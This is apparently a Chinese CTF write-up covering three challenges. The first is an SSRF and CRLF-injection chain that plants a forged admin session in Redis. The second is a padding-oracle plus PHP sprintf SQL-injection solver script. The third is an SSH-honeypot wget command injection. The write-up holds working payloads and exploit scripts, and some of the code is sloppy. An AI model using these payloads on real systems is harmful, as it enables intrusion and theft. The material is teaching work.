服务器外网只开启22、80端口,防火墙内开了6379、8000端口。22端口是服务器的ssh端口,80端口是nginx,为了提高服务可用性和日志记录。内网8000端口是我们模拟的未上线的开发环境,6379端口是没有密码的redis服务。

2.源码介绍

源码在ctf_django和ctf_second两个文件夹,首先把ctf_django的settings_sess.py文件名更改为settings.py,然后开始运行。这里使用gunicorn是为了使web服务更加健壮。

nginx相关配置文件如下:

        upstream app_server {
                server unix:/home/grt1st/ctf_django/ctf_django.sock fail_timeout=0;
        }

        server {
                listen 80;
                server_name localhost;
                keepalive_timeout 5;
                location ~* \.(py|sqlite3|service|sock|out)$ {
                        deny all;
                }
                location /static  {
                        alias /home/grt1st/ctf_django/static/;
                }
                location / {
                        add_header Server Django/1.11.5;
                        add_header Server CPython/3.4.1;                        
                        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                        proxy_set_header Host $host;
                        proxy_set_header X-Real-IP $remote_addr;
                        proxy_set_header X-Scheme $scheme;
                        proxy_redirect off;
                        proxy_pass http://app_server;
                }
        }

将以下内容保存为gunicorn.service文件名,放在ctf_django目录下。

[unit]
Description=gunicorn daemon
After=network.target

[Service]
User=nobody
Group=nogroup
WorkingDirectory=/home/grt1st/ctf_first
ExecStart=/usr/local/bin/gunicorn --workers 3 --bind unix:/home/grt1st/ctf_django/ctf_django.sock ctf_django.wsgi

[Install]
WantedBy=multi-user.target

然后进入目录,启动服务。

cd /home/grt1st/ctf_first/
sudo /home/grt1st/.conda/envs/ctf/bin/gunicorn --workers 3 --bind unix:/home/grt1st/ctf_django/ctf_django.sock ctf_django.wsgi

这里还需要虚拟环境,python3.4.1,我使用的是anaconda。启动虚拟环境source activate ctf,然后启动ctf_second:python ./ctf_second/ctf_second.py

0x01.

首先访问网址,我们可以看到网页如图:

l1.png

值得注意的是两点,一个是user名字,还有一个You can input any url you like

我们在输入框随便输入sina.com,可以看到返回内容:

l2.png

打开f12开发者工具可以看到:

l3.png

这里我们已经可以看出,url请求的结果来自于服务器,这里有极大可能是一个ssrf漏洞。

我们在公网上开个端口,查看来自服务器的请求,这里我使用的是云服务器nc -l -p 12345,然后我们输入公网ip:12345

可以在我们的云服务器上看到:

[grt1st@VM_14_12_centos ~]$ nc -l -p 12345
GET / HTTP/1.1
Host: 123.206.60.140:12345
User-Agent: python-requests/2.18.4
Connection: keep-alive
Accept: */*
Accept-Encoding: gzip, deflate

可以看到这个请求来自于python的requests库。

于是我们尝试通过构造特殊的url来打进内网,常见的绕过比如直接127.0.0.1,或者是进行一些进制转换、302跳转等等,但是我们会发现,一筹莫展,这些都被拦截了。

但是真的一点办法都没有吗?如果仔细分析页面的源代码,我们会看到页面里有一个图片,那么这里是否可能存在一个目录穿越、任意文件读取漏洞呢?

尝试http://localhost/static/http://localhost/static../http://localhost/static../manage.py,返回403;http://localhost/static../xxx,返回404。

在网站响应的http头部可以看到Server头部信息CPython3.4.1。由于python3.x的特性,会在pycache目录下存放预编译模块,于是依次下载文件:http://localhost/static../__pycache__/__init__.cpython-34.pychttp://localhost/static../__pycache__/urls.cpython-34.pychttp://localhost/static../__pycache__/settings.cpython-34.pyc

通过uncompyle6反编译pyc得到python文件,再依次下载需要的文件:views.cpython-34.pycforms.cpython-34.pychtml_parse.cpython-34.pycsess.cpython-34.pycsafe.cpython-34.pyc

分析代码可知,只有我们的user名为administrator才可得到flag,而这个用户名是不可能生成的。所以我们剩下的思路就是改变session,而这里session保存在redis中。从settings.py里我们可以知道这里使用的是django-redis-sessions

再分析代码逻辑,我们可以看到很多绕过方式都被拦截了。但是很多人可能不知道,在linux中0代表我们本机的ip地址,我们可以本地测试一下:

➜  ~ ping -c 4 0
PING 0 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.026 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.043 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.028 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.050 ms

--- 0 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3037ms
rtt min/avg/max/mdev = 0.026/0.036/0.050/0.012 ms

于是我们尝试输入0,可以看到我们已经成功进入了内网,虽然目前来看我们还是离flag很远。因为我们无法控制服务器http请求的内容,无法进行redis操作。

写一个脚本,看一下内网有什么服务,很简单的脚本:

import requests
from lxml import etree
import re

s = requests.Session()
url = "localhost"
pattern = re.compile(r'[Errno 111] Connection')

def get_token(sess):
    r = sess.get(url)
    html = etree.HTML(r.text)
    t = html.xpath("//input[@name='csrfmiddlewaretoken']")
    try:
        token = t[0].get('value')
    except IndexError:
        print("[+] Error: can't get login token, exit...")
        os.exit()
    except Exception as e:
        print(e)
        os.exit()
    return token

for i in 10000:
    payload = {'csrfmiddlewaretoken': get_token(s), 'target': '0:%i' % i}
    r = s.post(url, data=payload)
    if re.search(pattern, r.text):
        print(i)

可以看到服务器还开了8000端口和6379端口,6379端口应该是redis。这里我们输入0:8000看看会返回什么:

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title></title> </head> <body> <form action="/" method="get"> <input type="text" name="url" id="url" > <input type="submit" value="submit"> </form> </body> </html>

看起来是一个GET方式的表单,这里我们传递表单的参数看一下0:5000?target=http://baidu.com

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title></title> </head> <body> <p>我觉得可以</p> </body> </html>

我们看到返回了内容,在用云服务器试一下nc -l -p 12345,输入参数0:5000?target=http://公网ip:12345:

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title></title> </head> <body> <p>timed out</p> </body> </html>

服务器请求timed out,再看服务器:

[grt1st@VM_14_12_centos ~]$ nc -l -p 12345
GET / HTTP/1.1
Accept-Encoding: identity
Connection: close
User-Agent: Python-urllib/3.4
Host: 123.206.60.140:12345

可以看出服务端使用的是urllib、python版本3.4,可能存在http头部注入。简单的poc:"0:5000?target=http://123.206.60.140%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345",看到服务器端:

[grt1st@VM_14_12_centos ~]$ nc -l -p 12345
GET / HTTP/1.1
Accept-Encoding: identity
Connection: close
User-Agent: Python-urllib/3.4
Host: 123.206.60.140
X-injected: header
x-leftover: :12345

我们成功的进行了http头部注入,可以拿来操纵redis。

那我们怎么通过0:5000打redis呢?看来要通过另一个ssrf漏洞。这里同样的对进制转换进行了过滤,但是我们可以通过302跳转构造ssrf。

同样的,在我们的云服务器上,通过flask进行简单的测试:

from flask import Flask
from flask import redirect
from flask import request
from flask import render_template

app = Flask(__name__)
app.debug = True

@app.route('/')
def test():
    return redirect('http://127.0.0.1:80/', 302)

if __name__ == '__main__':
    app.run(host='0.0.0.0')

看到返回:

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title></title> </head> <body> <p>我觉得可以</p> </body> </html>

那我们这里再次成功进行了ssrf漏洞,但是对redis的攻击类似与盲注,我们无法看到结果。

于是根据得到的源码,本地搭建环境,并安装django-redis-sessions

先访问本地,之后查看redis储存的键值对。

redis-cli
keys *
get xxxxxxxxxx

看到返回的字符串像是经过base64后的:NzVjZmFlYmY5MmMzNmYyYjRiNDlmODIzYmVkMThjNWU1YWI0NzZkYTqABJUbAAAAAAAAAH2UjARuYW1llIwNMTkzMGVhMzFlNDFmMJRzLg==

尝试解码:

➜  ~ ipython
Python 3.6.2 (default, Jul 20 2017, 03:52:27) 
Type 'copyright', 'credits' or 'license' for more information
IPython 6.2.1 -- An enhanced Interactive Python. Type '?' for help.

In [1]: import base64

In [2]: a = "NzVjZmFlYmY5MmMzNmYyYjRiNDlmODIzYmVkMThjNWU1YWI0NzZkYTqABJUbAAAAAAAAAH2U
   ...: jARuYW1llIwNMTkzMGVhMzFlNDFmMJRzLg=="

In [3]: base64.b64decode(a)
Out[3]: b'75cfaebf92c36f2b4b49f823bed18c5e5ab476da:\x80\x04\x95\x1b\x00\x00\x00\x00\x00\x00\x00}\x94\x8c\x04name\x94\x8c\r1930ea31e41f0\x94s.'

对比网页里的hello, uesr: 1930ea31e41f0,我们可以把用户名替换为administrator

于是通过分析代码逻辑,修改sess.py,不产生随机字符串而是直接返回administrator。于是我们清除cookie,重新启动本地的django并监控redis:redis-cli monitor,得到administrator的序列化字符串"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg=="

所以我们可以通过http头部注入执行redis命令,创建用户名为administrator的键值对。

我们云服务器端的302跳转地址如下:http://127.0.0.1%0d%0aset%206z78up4prpcderqrsq0rce35wwdnhg50%20OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg==%0d%0ax-leftover:%20:6379/,拆开看,即set 6z78up4prpcderqrsq0rce35wwdnhg50 OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg==

但是这里实际上有一个坑,url太长会报错:UnicodeError: label empty or too long,报错的文件在/usr/lib/pythonx.x/encodings/idna.py,报错在这里:

        if 0 < len(label) < 64:
            return label
        raise UnicodeError("label empty or too long")

所以我们要控制url长度,比如通过append来给键加值,基本缩略如http://0%0d%0aset%206z78up4prpcderqrsq0rce35wwdnhg50%20值%0d%0a:6379。依旧很长,因为整个键名就非常长,这里我们也尝试缩短。

本地测试发现,最短的键名为8位字符,比如h1234567,于是缩减到http://0%0d%0aset%20h1234567%20值%0d%0a:6379

尝试:
http://0%0d%0aset%20h1234566%20OGIzY2Y0ZWFkOGI1MzExZ%0d%0a:6379

http://0%0d%0aappend%20h1234566%20DdlMDRkYjNiOGM0NWM%0d%0a:6379

http://0%0d%0aappend%20h1234566%202MGM3YWRhOWJjMDqAB%0d%0a:6379

http://0%0d%0aappend%20h1234566%20JUbAAAAAAAAAH2UjAR%0d%0a:6379

http://0%0d%0aappend%20h1234566%20uYW1llIwNYWRtaW5pc%0d%0a:6379

http://0%0d%0aappend%20h1234566%203RyYXRvcpRzLg==%0d%0a:6379

即可进行拼接,创建文件flask_poc.py

from flask import Flask
from flask import redirect
from flask import request
from flask import render_template

app = Flask(__name__)
app.debug = True

@app.route('/redis')
def test():
    return redirect('http://0%0d%0aset%20h1234566%20OGIzY2Y0ZWFkOGI1MzExZ%0d%0a:6379', 302)

@app.route('/redis1')
def test1():
    return redirect('http://0%0d%0aappend%20h1234566%20DdlMDRkYjNiOGM0NWM%0d%0a:6379', 302)

@app.route('/redis2')
def test2():
    return redirect('http://0%0d%0aappend%20h1234566%202MGM3YWRhOWJjMDqAB%0d%0a:6379', 302)   

@app.route('/redis3')
def test3():
    return redirect('http://0%0d%0aappend%20h1234566%20JUbAAAAAAAAAH2UjAR%0d%0a:6379', 302)

@app.route('/redis4')
def test4():
    return redirect('http://0%0d%0aappend%20h1234566%20uYW1llIwNYWRtaW5pc%0d%0a:6379', 302)    

@app.route('/redis5')
def test5():
    return redirect('http://0%0d%0aappend%20h1234566%203RyYXRvcpRzLg==%0d%0a:6379', 302)

if __name__ == '__main__':
    app.run(host='0.0.0.0')

本地测试,可以看到:

127.0.0.1:6379> keys *
1) "ubar4t1tpicq8152csdr351pabbkl0a6"
2) "h1234566"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZ"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqAB"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjAR"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc"
127.0.0.1:6379> get h1234566
"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg=="

修改本地cookies sessionid的值为h1234566,已经成功。

于是我们在网址上分别进行输入0:5000?target=公网ip/redis、redis1、2...

然后修改cookies,成功得到flag。

simple-blog

进入题目后可以知道这是一个博客系统,那猜测应该会有后台,扫一下目录或者猜一下可以知道存在login.php, admin.php两个文件,访问admin.php可以发现有权限控制,访问login.php是一个登录界面。

通过尝试可以发现如果随便输入账号密码的话页面返回是Login failed.,但是账号密码都输入admin的话会跳转到admin.php,猜测这里应该是弱口令,只是除了密码以外还有其他的验证方式。

如果扫描字典够强大的话可以扫到login.php, admin.php都存在备份文件:.login.php.swp, .admin.php.swp

下载备份文件.login.php.swp得到源码,源码关键的部分:

function get_identity(){
    global $id;
    $token = get_random_token();
    $c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
    $_SESSION['id'] = base64_encode($c);
    setcookie("token", base64_encode($token));
    if($id==='admin'){
        $_SESSION['isadmin'] = 1;
    }else{
        $_SESSION['isadmin'] = 0;
    }
}

function test_identity(){
    if (isset($_SESSION['id'])) {
        $c = base64_decode($_SESSION['id']);
        $token = base64_decode($_COOKIE["token"]);
        if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){
            if ($u === 'admin') {
                $_SESSION['isadmin'] = 1;
                return 1;
            }
        }else{
            die("Error!");
        } 
    }
    return 0;
}

可以看到在session中也做了身份验证,但是由于加密模式是aes-128-cbc,且$token在cookie里,可控,所以这里可以进行Pading Oracle Attack,通过修改$token可以把$_SESSION['isadmin']改为1(如果不清楚Pading Oracle Attack的原理的话可以看一下我写过的一篇博客),这样就成功登录进了admin.php

通过下载.admin.php.swp可以得到admin.php的源码,发现里面存在数据库操作

if(isset($_GET['id'])){
    $id = mysql_real_escape_string($_GET['id']);
    if(isset($_GET['title'])){
        $title = mysql_real_escape_string($_GET['title']);
        $title = sprintf("AND title='%s'", $title);
    }else{
        $title = '';
    }
    $sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
    $result = mysql_query($sql,$con);
    $row = mysql_fetch_array($result);
    if(isset($row['title'])&&isset($row['content'])){
        echo "<h1>".$row['title']."</h1><br>".$row['content'];
        die();
    }else{
        die("This article does not exist.");
    }

乍看之下似乎有mysql_real_escape_string()所以无法进行注入,但实际上这里可以利用PHP格式化字符串的漏洞。

在PHP的sprintf这个函数中%\会被当成一个格式化字符串,如图

可以看到%\%y一样被当做了一个不存在的类型的格式化字符串,所以输出为空

所以利用这个原理,我们可以传入title=%' or 1#,此时因为mysql_real_escape_string()的存在单引号前会被加上一个\,那么最后拼接到语句里就是

sprintf("SELECT * FROM article WHERE id='%s' AND title='%\' or 1#'", $id);

这样%就会吃掉后面的\组成一个格式化字符串,单引号就成功逃逸了出来。

但是只是这样的话还是会报错参数不足,因为这条代码里有两个格式化字符串但是只有一个参数。不过PHP的格式化字符串还有另一种表示方法%1$s,其中%后面的数字就表示引用第几个参数,$后面是格式化字符串的类型,如图

所以我们传入title=%1$' or 1#,经过转义最后拼接到语句里就是

sprintf("SELECT * FROM article WHERE id='%s' AND title='%1$\' or 1#'", $id);

这样title那里引用的也是第一个参数$id,就不会报参数不足的错了

具体的原理可以看这篇文章

所以最终SQL注入的payload就是:?id=0&title=%251%24'%20union%20select%201%2C2%2C3%23

整个题目可由一个脚本跑出最终flag:

#-*- coding:utf-8 -*-

import requests
import base64

url = 'http://111.231.111.54/login.php'
N = 16

def inject_token(token):
    cookie = {"token": token}
    result = s.get(url, cookies = cookie)
    return result

def xor(a, b):
    return "".join([chr(ord(a[i]) ^ ord(b[i%len(b)])) for i in xrange(len(a))])

def pad(string, N):
    l = len(string)
    if l != N:
        return string + chr(N-l) * (N-l)

def padding_oracle(N):
    get = ""
    for i in xrange(1, N):
        for j in xrange(0, 256):
            padding = xor(get, chr(i) * (i - 1))
            c=chr(0) * (16 - i) + chr(j) + padding
            print c.encode('hex')
            result = inject_token(base64.b64encode(c))
            if "<html>" in result.content:
                print result.content
                get = chr(j^i) + get
                break
    return get

data={'username': "admin", 'password': 'admin'}
while 1:
    s = requests.session()
    cookies = s.post(url, data = data, allow_redirects = False).headers['Set-Cookie'].split(',') #获得session和token
    session = cookies[0].split(";")[0][10:]
    token = cookies[1][6:].replace("%3D",'=').replace("%2F",'/').replace("%2B",'+').decode('base64')
    middle1 = padding_oracle(N)
    print "\n"
    if(len(middle1) + 1 == 16):
        for i in xrange(0, 256):
            middle = chr(i) + middle1   #padding_oracle只能得到15位,爆破第一位
            print "session: " + session
            print "token: " + token
            print "middle: " + base64.b64encode(middle)
            plaintext = xor(middle, token);
            print "plaintext: " + plaintext
            des = pad('admin', N)
            tmp = ""
            print "padtext: " + base64.b64encode(des)
            for i in xrange(16):
                tmp += chr(ord(token[i]) ^ ord(plaintext[i]) ^ ord(des[i]))
            print "inject_token: " + base64.b64encode(tmp)
            result = inject_token(base64.b64encode(tmp))
            if "css/login.css" not in result.content:
                #payload = "%1$' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#"  #注表名
                #payload = "%1$' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x4b4559#"    #注列名
                payload = "%1$' union select 1,2,f14g from `key`#" #注字段
                params = {'id': '0', 'title': payload}
                r = s.get("http://111.231.111.54/admin.php", params = params)
                print r.content
                print "success"
                exit()

注入时也有一个小坑,key这个表名是MYSQL保留字,我们把它当做表名带入查询时必须用反引号包起来,不然就会报语法错误而返回不了我们想要的结果。

MISC

树莓派

刚上线

  1. 题目介绍只给了个ip,有师傅当做web题,发现点不开。
  2. 扫了一波端口后,只有22开着,所以入口点肯定在这里。
  3. 根据题目的提示,按照正常的思维确实应该登录pi:raspberry,本来也是打算设置成这样,但是这个密码太弱了,题目还没上线就被黑铲扫了好几波,直接改密码种木马一波带走了。所以就改了一个需要一些脑洞的密码pi:shumeipai,可能有师傅在这里卡了一下。

第一个hint

hint1: 都告诉你密码了

  1. 这个hint主要提示弱密码是什么,因为不想让师傅们耽误太多时间,给出后很多师傅都上来了。
  2. 这时候ssh进去会发现是一个低权限帐号,很多操作都受限了,uname看内核版本也很高,这之后很多师傅就开始四处搜刮flag,bash_history、.swp等等,还看了所有文件的修改时间。
  3. 但是一番搜索后除了那个假flag什么发现也没有。在搜索的过程中,查看主机的网络状态netstat -autpn,会发现所有的ssh连接来源都是172.18.0.3,在这里应该会产生一些疑问,ping172.18.0.1、172.18.0.3都是通的,pi本机是172.18.0.2。
  4. 这时候可以猜测,ssh连接被0.3动了手脚,通过ssh的指纹完全可以验证0.3是师傅们和0.2之间的中间人。
  5. 下图是我们ssh连接时收到的公钥指纹:
    r1.png
  6. 下图是172.18.0.2主机sshd配置文件夹中的公钥:
    r2.png
  7. 可以看出两者是不一样的,所以验证了0.3在做SSH连接的中间人的猜测,这样一来有很大可能真的flag在0.3里。

第二个hint

hint.pcap

  1. 这是一个很重要的hint,流量中出现的主要IP是172.180.2 172.180.3,在流量包里可以看到明显的特征: 在建立了SSH连接后,外网发给0.3的加密数据包,0.3会先与0.2通信,0.2返回给0.3数据后,0.3再返回给外网的ip,在这里也能够证实0.3在做ssh的中间人。

  2. 一般打ctf的流量包里面都会藏一些有用的东西,所以这里设了个坑,下载了一个53.bin,但是文件的具体内容没有什么用,此文件实际上是之前部署在公网的蜜罐捕获到的DDos木马,所以先对执行了此文件的师傅说声对不起。
    r3.png

  3. 但是下载这个53.bin也不完全是坑人的,流量包里的http都很重要,过滤一下http可以看到只有几个数据包,User-Agent是wget,wget了cip.cc,并重定向到了www.cip.cc,这么做的初衷了为了暴露题目的公网IP,但是师傅们后来决定先不放这个流量包,所以题目描述直接把IP给出来了,这里也没什么用了。
    r4.png

  4. 那为什么53.bin有request没有response捏,实际上Follow一下TCP stream就能看到后面的都是二进制的数据,wireshark没有把他们识别为http协议。
    r5.png

  5. 实际上这个包最关键的地方在下图中两个GET 53.bin,这里涉及到一些蜜罐的东西,玩过SSH蜜罐的师傅可能了解,入侵者下载的恶意文件很可能随着执行而自动删除,所以绝大多数ssh蜜罐,无论低中高交互都会有一个功能,就是碰到wget命令,会解析命令并自动下载里面包含的恶意文件,这也就解释了为什么wget命令在两台主机上都执行了一次。
    r6.png

  6. 所以如果wget命令及参数没有解析好的话,是有可能导致命令注入的。这一点在后面的hint也有提示。这个漏洞我比较粗暴的设置为,当0.3主机得到了攻击者的命令,如果命令以wget为开头,則直接os.system(cmd),当然还是做了一些过滤的。
    r7.png

  7. 可以看到shell里常见的引入新的命令的符号大多数都做了过滤,比如& | $(),但是还是留下了姿势可以绕过,比如\n
    r8.png

  8. ssh tunnel的应用除了我们常用的shell,实际上还有exec,此应用不会在sshd上请求shell,只执行一条命令,比如ssh pi@123.123.123.123 'ls'

  9. 但为了方便构造,可以使用python的paramiko库来get flag
    r10.png
    r9.png

  10. 实际上也可以直接getshell
    r11.png

最后

  1. wetland是我之前写的一个高交互ssh蜜罐,基于python的paramiko库。这个题就是直接拿它改动了一点。地址在本github帐号的wetland仓库里。

  2. 题目的架构为真实云主机上跑两个docker容器,分别为wetland(172.18.0.3)和sshd(172.18.0.2),其中wetland是蜜罐程序,sshd用于执行黑客的命令。

  3. 两个容器的dockerfile在docker文件夹中,sshd是对rastasheep/ubuntu-sshd的修改,降低了权限。wetland是对docker hub上ohmyadd/wetland镜像的修改,修改了两个文件,加上了命令注入。

  4. 最后既然是蜜罐,肯定会记录执行的操作啦,日志文件都有保留,但不知道公开合不合适,就先不放出来了。

  5. 最后一张用bearychat来实时看都有什么操作:)

r12.png

tagged by none  

Comment Closed.

© 2014 ::L Team::